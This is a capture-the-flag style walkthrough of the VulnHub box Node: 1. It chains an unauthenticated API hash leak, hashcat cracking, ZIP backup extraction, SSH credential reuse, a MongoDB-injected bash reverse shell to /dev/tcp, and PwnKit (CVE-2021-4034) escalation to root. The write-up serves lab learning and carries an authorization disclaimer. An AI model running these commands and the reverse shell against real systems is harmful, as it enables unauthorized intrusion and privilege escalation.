Node: 1 Full Walkthrough — From AngularJS API Leak All the Way to PwnKit
Link: https://www.vulnhub.com/entry/node-1,252/
Target: Node: 1 (VulnHub, by rastating, 2017; ported from HackTheBox)
Difficulty: Medium Environment: WSL2 Kali + VMware
Intro: An Attack Chain Spanning Twelve Links
Node is a rare box that crams in every facet a complete pentest should have: from an unauthenticated REST API, all the way through to kernel/pkexec privilege escalation, passing through excessive data exposure, hash cracking, an encrypted ZIP, white-box source review, credential reuse, SSH lateral movement, NoSQL command injection, and SUID binary reversing. It's practically a miniature of an entire penetration test.
This post documents that full chain, including the SUID binary command injection near the end that had me stuck for a long time (the intended path, which I couldn't get to work because of a fiddly access() check), and the PwnKit route I ultimately switched to instead.
Full Kill Chain (spoilers, feel free to skip):
- Environment (matching VMware's ens33 against the target's interface name, which rescued this box)
- Recon → port 3000 AngularJS SPA
- Read the front-end JS controllers to map out the back-end API
- Unauthenticated
GET /api/usersleaks every user + the admin hash - hashcat cracks the SHA-256 → admin credentials
- admin login →
GET /api/admin/backupdownloads an encrypted backup - Crack the ZIP password → app source code
- White-box review → MongoDB credentials
- DB password reused for SSH → mark
/var/schedulerNoSQL command injection → tom- PwnKit (CVE-2021-4034) → root
0. Environment: Why VMware Rescued This Box
This box was originally stuck at the virtualization layer (there's a separate write-up on that). In short: when running it under libvirt/KVM inside WSL2, the target (Ubuntu 16.04, a Debian-family system) hard-wired ens33 (VMware's usual interface name) in its /etc/network/interfaces, while libvirt's e1000 handed it enp0s3. The names didn't match → the target never got an IP.
After re-importing it under VMware instead (when the OVF fails compliance, just hit Retry to relax the checks), VMware happened to name the NIC ens33, which lined up perfectly with the target's interfaces → it got an IP. On top of that, WSL2 this time had a route to VMware's Host-only segment (VMnet1, 192.168.13.0/24), so nmap from WSL could scan the target at 192.168.13.128 directly.
1. Recon
sudo nmap -p- -sV -sC 192.168.13.128
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 7.2p2 Ubuntu | Ubuntu 16.04 |
| 3000 | Node.js (nmap misidentified it as Hadoop) | AngularJS SPA "MyPlace" |
The homepage on port 3000 is an AngularJS single-page app (ng-app="myplace", data-ng-view). The attack surface of an SPA lives in its back-end API, and the front end loads a whole pile of controllers:
<script src="assets/js/app/app.js">
<script src="assets/js/app/controllers/login.js">
<script src="assets/js/app/controllers/admin.js">
<script src="assets/js/app/controllers/profile.js">
2. Reading the Front-End JS to Map the Back-End API
The core mindset for attacking an SPA: the front-end JS is the documentation for the back-end API. No need to guess routes, just read the controllers:
curl -s http://192.168.13.128:3000/assets/js/app/app.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/admin.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/profile.js
The API endpoints this dug up:
POST /api/session/authenticate login
GET /api/session check login status
GET /api/admin/backup admin backup (AdminCtrl)
GET /api/users/:username fetch a single user (ProfileCtrl)
GET /api/users/latest latest user list (HomeCtrl)
3. Unauthenticated API Leaks Every User + Hash
The homepage's HomeCtrl calls /api/users/latest before you even log in, returning full user objects that include password hashes (excessive data exposure):
curl -s http://192.168.13.128:3000/api/users/latest
But latest only returns three is_admin:false users and leaves out admin. The key move: drop the /latest and hit /api/users directly to get every user back (an even more serious unauthenticated leak):
curl -s http://192.168.13.128:3000/api/users
And admin appears:
{"username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}
4. Cracking the Hash
64 hex characters = SHA-256 (unsalted). WSL2's hashcat couldn't find a CUDA GPU, so I fell back to CPU (-D 1):
hashcat -m 1400 -D 1 hashes.txt /usr/share/wordlists/rockyou.txt
Cracked:
tom : spongebob
mark : snowflake
myP14ceAdm1nAcc0uNT : manchester
(SSH reuse test: none of these web passwords are system-account passwords, so both su and ssh failed.)
5. Downloading and Unpacking the Encrypted Backup
Log in as admin to grab a session, then hit /api/admin/backup:
curl -s -c admin_cookies.txt -X POST http://192.168.13.128:3000/api/session/authenticate \
-H "Content-Type: application/json" \
-d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}'
curl -s -b admin_cookies.txt http://192.168.13.128:3000/api/admin/backup -o myplace.b64
The response is a Base64-encoded encrypted ZIP. Decode it and crack the ZIP password:
base64 -d myplace.b64 > myplace.backup
file myplace.backup # Zip archive (encrypted)
# Crack the password: try known-password reuse first, then zip2john + john
unzip -P magicword myplace.backup -d myplace_src
The ZIP password is magicword (later confirmed by reversing the backup binary).
6. White-Box Review Yields MongoDB Credentials
The unpacked app source, app.js, leaks two crucial things:
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace...'; // DB credentials!
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]); // backup calls a custom SUID binary
mark:5AYRft73VtFpc84k is mark's MongoDB password (different from mark's web password snowflake).
7. DB Password Reused for SSH → System Foothold
Developers often make the DB account password the same as the system account password. Try the DB mark password over SSH:
ssh [email protected] # password: 5AYRft73VtFpc84k
Success, a system shell as mark@node.
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ sudo -l
# mark may not run sudo
8. NoSQL Command Injection to Move Laterally → tom
ps aux reveals a scheduler running as tom:
tom /usr/bin/node /var/scheduler/app.js
Read its source (world-readable):
const exec = require('child_process').exec;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler...'; // you have these credentials!
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
docs.forEach(function (doc) {
exec(doc.cmd); // execs the cmd straight from the DB, zero filtering!
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
});
});
}, 30000); // every 30 seconds
The attack chain: the scheduler runs as tom, and every 30 seconds it reads tasks from MongoDB's scheduler database and runs exec(doc.cmd). Since you hold this DB's credentials → insert a malicious task, and within 30 seconds the scheduler executes it as tom.
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
> db.tasks.insert({ cmd: "bash -c 'bash -i >& /dev/tcp/192.168.13.1/4444 0>&1'" })
Networking detail: the target (VMware) connects back from the Windows VMnet1 address 192.168.13.1, so the reverse shell listener has to be opened in Windows PowerShell (not WSL) for it to catch the connection.30 seconds later, the tom shell pops back.
tom@node:/$ groups
tom adm cdrom sudo dip plugdev lxd lpadmin sambashare admin
tom is in the admin group (able to run the SUID binary below) and also in the sudo group (but there's no password, so sudo is a dead end).
9. Switching to PwnKit (CVE-2021-4034) → root
Take the reliable path that doesn't depend on that binary: PwnKit. This box is a near-perfect fit:
uname -a # Linux node 4.4.0-93-generic Ubuntu 16.04
ls -la /usr/bin/pkexec # -rwsr-xr-x (SUID root, 2016 build, unpatched against the 2022 CVE)
which gcc cc # both present (can compile right on the target)
How PwnKit works (pkexec's argv out-of-bounds + GCONV_PATH loading a malicious gconv module, see the Temple of Doom post for details). Since this box has gcc, I just used a ready-made C PoC (berdav/CVE-2021-4034), a single make and it's done.
Transferring the file (the target can't reach the internet): use scp over the SSH channel (sidestepping the WSL/Windows address issues with an http server):
# WSL (where the exploit is already cloned)
scp /tmp/pwnkit.tar.gz [email protected]:/tmp/
Compile and run (both the home directory and /tmp are restricted, so use /dev/shm):
mkdir -p /dev/shm/pwn
tar xzf /tmp/pwnkit.tar.gz -C /dev/shm/pwn
cd /dev/shm/pwn/CVE-2021-4034
make
./cve-2021-4034
Result:
# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt
RedactedMethodology You Can Take With You
- Attacking AngularJS/SPAs: the front-end JS controllers are the documentation for the back-end API. Read them to dig out endpoints instead of blindly brute-forcing routes.
- API excessive data exposure:
/api/usersreturns full objects including hashes without authentication. Trying to "strip the path modifier (latest)" often gets you more (every user). - Layers of credential relay: web hash → crack → encrypted backup → ZIP password → DB credentials from source review → SSH reuse. Each layer's credentials may or may not carry over to the next (the web passwords weren't reused on the system, but the DB password was reused for SSH).
- White-box review beats blind attacks: once you have the source, reading
app.jsfor the DB connection, SUID calls, and secrets is far faster than black-box guessing. - NoSQL/scheduler command injection:
exec(doc.cmd)reading commands from the database + you holding the DB credentials = arbitrary command execution as that service. Look for services that run as a high-privilege user and read input from a source you can control. - File transfer and writable directories: when the target can't reach out, use scp over the SSH channel; when the home directory and /tmp are restricted, use
/dev/shm(tmpfs, usually 777) to compile and run.
This is an educational write-up of the Node: 1 box; everything was done in an isolated lab environment. Never run any of this against systems you're not authorized to test.
Member discussion